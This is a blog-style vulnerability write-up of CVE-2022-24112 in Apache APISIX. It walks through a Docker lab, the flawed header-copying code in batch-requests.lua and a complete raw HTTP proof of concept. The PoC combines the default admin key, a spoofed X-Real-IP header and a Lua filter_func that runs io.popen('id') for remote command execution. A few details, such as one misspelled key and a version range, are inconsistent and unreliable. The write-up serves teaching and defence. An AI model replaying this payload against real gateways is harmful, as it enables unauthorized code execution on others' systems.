Summary
This blog outlines a Remote Code Execution (RCE) flaw in Apache APISIX releases prior to 2.12.1 owing to improper management of headers in the use case of the batch-requests plugin. Exploiting the injection of a spoofed X-Real-IP: 127.0.0.1 header and the built-in key edd1c9f034335f136f87ad84b625c8f1 and POST /apisix/batch-requests, the admin API limits based on IPs can be bypassed and arbitrary routes can be appended by the unauthenticated attacker. This exploits the injection of a malicious filter_func using io.popen() and ngx.say() in a JSON payload and being executed via a subrequest that has been crafted. This exploits the transport of client headers to the subrequests before enforcing the real IP and privilege elevation through injection through the headers. The post demonstrates setup in the environment via Docker, line-by-line analysis of the code in the file batch-requests.lua, and a working PoC proving command execution. Mitigations that are effective include upgrading to ≥ 2.12.1, key rotation of the built-in keys, and disabling use case utilization within affected environments.
CVE Exploit:
https://github.com/fatkz/CVE-2022-24112
What is Apache APISIX?
Apache APISIX is an Apache service providing a cloud-native API gateway. It acts as a single gateway for all the traffic between your microservices and external/internal APIs, consolidating layers such as routing, authentication, observability, rate limiting, security, and AI integration.
Setting up the Vulnerable Environment:
In our two-step analysis of Apache APISIX 2.10.4, we will walk through a vulnerable system using the assistance of the sample project we have available on GitHub. In the step-by-step code analysis we will also illustrate the steps required for the PoC (Proof of Concept). To begin the analysis, we will begin with the downloading process of the vulnerable system from GitHub.
git clone https://github.com/twseptian/cve-2022-24112.git
cd cve-2022-24112/apisix-docker/example
After downloading the files, let's stand up our system with docker.
docker compose -p apisix-rce up -d
Now our system is ready and we can access it via https://localhost:9080
.
PoC (Proof of Concept) and Exploit:
The PoC demonstrates the way a specially crafted JSON pipeline in one POST /apisix/batch-requests request—coupled with the default X-API-KEY
and an injected X-Real-IP: 127.0.0.1
header—tricks Apache APISIX (< 2.12.1) to treat the intruder as a trusted localhost client. Because the client headers are replicated before overwriting X-Real-IP in the batch-requests plugin, two occurances of the latter clash; the IP filter lets the first through and the intruder bypasses Admin-API throttling, writes the malicious route, and gains remote code execution. This PoC should be used solely for educational testing purposes–always update to 2.12.1+, or 2.10.4 LTS if available–rotate the admin key and disallow use of the batch-requests feature in production environments.
When we go to access the service, it is normal to receive a 404 HTTP status code; the reason is the system has not yet been configured. In the second scenario, we will access the URL http://localhost:9080/apisix/admin/routes
and this is the URL where we will exploit the vulnerability. This is where we will perform the Remote Code Execution (RCE) vulnerability. But when you attempt to access this address directly, you will receive a message indicating the token value that was used to authenticate is missing. This implies requests cannot be authenticated.
But since we are running the system locally within our computer, we bypass the authenticating process through the alteration of the X-Real-IP
header. Therefore the requests otherwise intercepted through access controls are flagged as being from the local address (127.0.0.1) and allowed through. This bypasses the check for security automatically.
Apache APISIX 1.0.0-2.0.0 comes with the API key edd1c9f034335f136f87ad84b625c8sf1
as default, this token value is found in the config-default.yaml
file in /usr/local/apisix/conf
.
There are three key situations where we can access the APIsix/admin/routes path successfully:
-
The Batch Requests plugin should be installed and activated in the system. This module enables batch request processing and also allows skipping the authentication using the X-Real-IP request header.
-
The system should never modify the default value of the API token. Unless this token value is changed, this system can become compromised and the flaw can be utilized through
-
The X-Real-IP should not be blocked by any configuration (e.g.: firewall, reverse proxy or APISIX configuration). Unauthorized access can also be achieved by requests being made to look as if they are from the local host's address (127.0.0.1).
The batch-requests
plugin is where the real problem lies. batch-requests is a request batching mechanism that allows you to batch and send multiple API requests in a single HTTP call.
[ Client]
|
| POST /apisix/batch-requests + JSON pipeline[ ... ]
v
[ APISIX ]
├─ loop → 1. sub request→ 127.0.0.1/... (req #1)
├─ loop → 2. sub request → 127.0.0.1/... (req #2)
└─ ...
|
└─ merge responses → single JSON response
As before, the client sends a request with a single POST data first. This single POST request data itself is processed; sub-requests are created in a loop and are sent to APISIX. Then what happens when the batch-requests plugin is activated and the API key is proper?
-
If the external request of the attacker contains X-Real-IP: 127.0.0.1, the copy line forwards this header to the sub-request.
-
Soon thereafter, APISIX inserts the real client's IP as X-Real-IP and creates two duplicates.
-
The 127.0.0.1 value is utilized at the HTTP level and the IP blocking is thus circumvented.
To examine what happens on the code side in this case, let's first enter the Docker container and then go to the plugins directory.
docker exec -it apisix-rce-apisix-1 bash
Then let's go to /usr/local/apisix/apisix/apisix/plugins
file path and read the code block that causes the vulnerability in the batch-requests.lua
file.
sed -n '150,190p' batch-requests.lua
if outer_headers then
for k, v in pairs(outer_headers) do
local is_content_header = str_find(k, "content-") == 1
-- skip header start with "content-"
if not req.headers[k] and not is_content_header then
req.headers[k] = v
end
end
end
req.headers[real_ip_hdr] = core.request.get_remote_client_ip()
end
end
The outher_headers table is checked to find out if it is empty.
-
The headers are maintained in the variables k and v. They are assigned the header as
k
andv
respectively. -
We search for 2 conditions, the same header cannot be the same in child request 2. Header cannot be content type (not is_content_header). Both the conditions are satisfied means the subrequest gets replicated.
-
If the conditions are met, the client header is appended to the subrequest. The original header is then forwarded to APISIX's own internal request.
-
Following the loop end, APISIX uses the value of the remote IP ("real remote IP" = core.request.get_remote_client_ip()) and inserts it in the real_ip_hdr header. real_ip_hdr is usually
X-Real-IP
(read from config).
Now that we have all the details, let's send the request with our API key and analyze the response to check if we have access to the system.
GET /apisix/admin/routes HTTP/1.1
Host: 127.0.0.1:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Connection: keep-alive
Result
{"node":{"dir":true,"nodes":{},"key":"\/apisix\/routes"},"action":"get","count":0}
Now that we have completed all the necessary operations to run code on our system, let's send a POST request to the batch-requests module in order to bypass IP-based authorization and operate with the default API keys.
POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:9080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 573
Connection: close
{
"headers": {
"X-Real-IP": "127.0.0.1:9080",
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
},
"timeout": 1500,
"pipeline": [
{
"path": "/apisix/admin/routes/index",
"method": "PUT",
"body": "{\"uri\":\"/rms/test\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"schmidt-schaefer.com\":1}},\"name\":\"wthtzv\",\"filter_func\":\"function(vars) local handle = io.popen('id'); local result = handle:read('*a'); handle:close(); ngx.say(result); return true end\"}"
}
]
}
With the HTTP RAW request above, a request is sent to /apisix/batch-requests and the vulnerable code snippet is sent in the body of the request. Thanks to the filter_func function below, the id value will appear on the screen.
function(vars)
local handle = io.popen('id')
local result = handle:read('*a')
handle:close()
ngx.say(result)
return true
end
As we throw the request, our share will not work directly, as specified in the body section, it will appear when the request is thrown to the /rms/test
path assigned to the uri
variable. Let's send a GET site to the test address and run the vulnerable code fragment we created.
In this way, some security measures were bypassed and arbitrary code could be executed in the system by running the code snippet written in the Lua programming language.
References:
-
Apache APISIX Security Advisory – CVE-2022-24112
https://apisix.apache.org/blog/2022/02/18/cve-2022-24112 -
CVE-2022-24112 – MITRE CVE Record
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24112 -
CVE-2022-24112 – CISA “Known Exploited Vulnerabilities” Catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog -
Patch Commit (batch-requests fix) – GitHub
apache/apisix
, SHA3f4e0c5
https://github.com/apache/apisix/commit/3f4e0c5e8d5c2db989e2eddd6090ccebf3ad6e14 -
Vulnerable Source –
apisix/plugins/batch-requests.lua
(2.12.0)
https://github.com/apache/apisix/blob/release/2.12.0/apisix/plugins/batch-requests.lua -
Patched Source –
apisix/plugins/batch-requests.lua
(2.12.1)
https://github.com/apache/apisix/blob/release/2.12.1/apisix/plugins/batch-requests.lua -
Default Configuration –
conf/config-default.yaml
https://github.com/apache/apisix/blob/master/conf/config-default.yaml -
PoC Repository – “cve-2022-24112” (twseptian)
https://github.com/twseptian/cve-2022-24112 -
Official Plugin Documentation –
batch-requests
https://apisix.apache.org/docs/apisix/plugins/batch-requests -
Blog Post – “Hardening Apache APISIX Admin API”
https://apisix.apache.org/blog/2023/01/10/hardening-admin-api